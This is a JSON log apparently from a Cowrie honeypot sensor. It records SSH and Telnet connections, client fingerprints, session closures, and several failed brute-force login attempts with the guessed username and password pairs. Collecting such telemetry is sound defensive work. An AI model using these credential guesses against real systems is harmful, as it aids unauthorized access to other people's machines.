{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix123","message":"login attempt [zabbix/zabbix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:31.957986Z","src_ip":"91.92.40.36","session":"d63ec610c419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53270,"dst_ip":"10.17.0.5","dst_port":22,"session":"909cb82966c9","protocol":"ssh","message":"New connection: 91.92.40.36:53270 (10.17.0.5:22) [session: 909cb82966c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:32.385142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:33.643385Z","src_ip":"91.92.40.36","session":"909cb82966c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:33.646699Z","src_ip":"91.92.40.36","session":"909cb82966c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:34.238255Z","src_ip":"91.92.40.36","session":"38c8c2cbd5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":59786,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d6199528d56","protocol":"ssh","message":"New connection: 45.78.204.254:59786 (10.17.0.5:22) [session: 9d6199528d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:35.483982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:35.487605Z","src_ip":"45.78.204.254","session":"9d6199528d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53306,"dst_ip":"10.17.0.5","dst_port":22,"session":"17ce5ad0d4d3","protocol":"ssh","message":"New connection: 91.92.40.36:53306 (10.17.0.5:22) [session: 17ce5ad0d4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:35.491917Z"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:35.505038Z","src_ip":"91.92.40.36","session":"d63ec610c419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:35.734613Z","src_ip":"45.78.204.254","session":"9d6199528d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte2025","message":"login attempt [soporte/soporte2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:36.758881Z","src_ip":"45.78.204.254","session":"9d6199528d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50088,"dst_ip":"159.203.135.109","dst_port":23,"session":"d471404e42ab","protocol":"telnet","message":"New connection: 172.81.62.90:50088 (159.203.135.109:23) [session: d471404e42ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:37.283539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:37.654819Z","src_ip":"91.92.40.36","session":"17ce5ad0d4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:37.660000Z","src_ip":"91.92.40.36","session":"17ce5ad0d4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:38.009599Z","src_ip":"45.78.204.254","session":"9d6199528d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.8","message":"Connection lost after 23.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:38.587901Z","src_ip":"91.92.40.36","session":"38c8c2cbd5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59960,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf53d82405e","protocol":"telnet","message":"New connection: 94.23.66.112:59960 (10.17.0.5:23) [session: eaf53d82405e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:39.729635Z"}
{"eventid":"cowrie.session.closed","duration":0.08745503425598145,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:39.816926Z","src_ip":"94.23.66.112","session":"eaf53d82405e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22286,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e585e4d9347","protocol":"ssh","message":"New connection: 91.92.40.36:22286 (10.17.0.5:22) [session: 6e585e4d9347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:44.600629Z"}
{"eventid":"cowrie.login.failed","username":"scanner","password":"Gdx8eroi","message":"login attempt [scanner/Gdx8eroi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:45.483865Z","src_ip":"91.92.40.36","session":"17ce5ad0d4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuan","password":"tuan","message":"login attempt [tuan/tuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:45.582484Z","src_ip":"91.92.40.36","session":"909cb82966c9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:45.954967Z","src_ip":"91.92.40.36","session":"6e585e4d9347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:45.961146Z","src_ip":"91.92.40.36","session":"6e585e4d9347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:47.736745Z","src_ip":"91.92.40.36","session":"17ce5ad0d4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:48.812273Z","src_ip":"91.92.40.36","session":"909cb82966c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42756,"dst_ip":"159.203.135.109","dst_port":23,"session":"945d2ca9d1fd","protocol":"telnet","message":"New connection: 172.81.62.90:42756 (159.203.135.109:23) [session: 945d2ca9d1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:49.919828Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16174,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba0b6627a17","protocol":"ssh","message":"New connection: 91.92.40.36:16174 (10.17.0.5:22) [session: 8ba0b6627a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:50.468479Z"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:51.707049Z","src_ip":"91.92.40.36","session":"6e585e4d9347","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:52.284540Z","src_ip":"91.92.40.36","session":"8ba0b6627a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:52.290959Z","src_ip":"91.92.40.36","session":"8ba0b6627a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:54.317516Z","src_ip":"91.92.40.36","session":"6e585e4d9347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20060,"dst_ip":"10.17.0.5","dst_port":22,"session":"788b32dcac00","protocol":"ssh","message":"New connection: 91.92.40.36:20060 (10.17.0.5:22) [session: 788b32dcac00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:57.084661Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":37986,"dst_ip":"159.203.135.109","dst_port":22,"session":"08339f0109b6","protocol":"ssh","message":"New connection: 152.32.214.226:37986 (159.203.135.109:22) [session: 08339f0109b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:58.466656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:58.471012Z","src_ip":"152.32.214.226","session":"08339f0109b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:58.685504Z","src_ip":"152.32.214.226","session":"08339f0109b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:58.743964Z","src_ip":"91.92.40.36","session":"788b32dcac00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:58.748187Z","src_ip":"91.92.40.36","session":"788b32dcac00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiaoli","password":"123456","message":"login attempt [xiaoli/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:59.580619Z","src_ip":"152.32.214.226","session":"08339f0109b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:00.237088Z","src_ip":"91.92.40.36","session":"8ba0b6627a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:00.799822Z","src_ip":"152.32.214.226","session":"08339f0109b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:03.178615Z","src_ip":"91.92.40.36","session":"8ba0b6627a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73f9298b3d8","protocol":"ssh","message":"New connection: 91.92.40.36:20096 (10.17.0.5:22) [session: e73f9298b3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:03.325649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:05.647840Z","src_ip":"91.92.40.36","session":"e73f9298b3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:05.652137Z","src_ip":"91.92.40.36","session":"e73f9298b3d8","protocol":"ssh"}
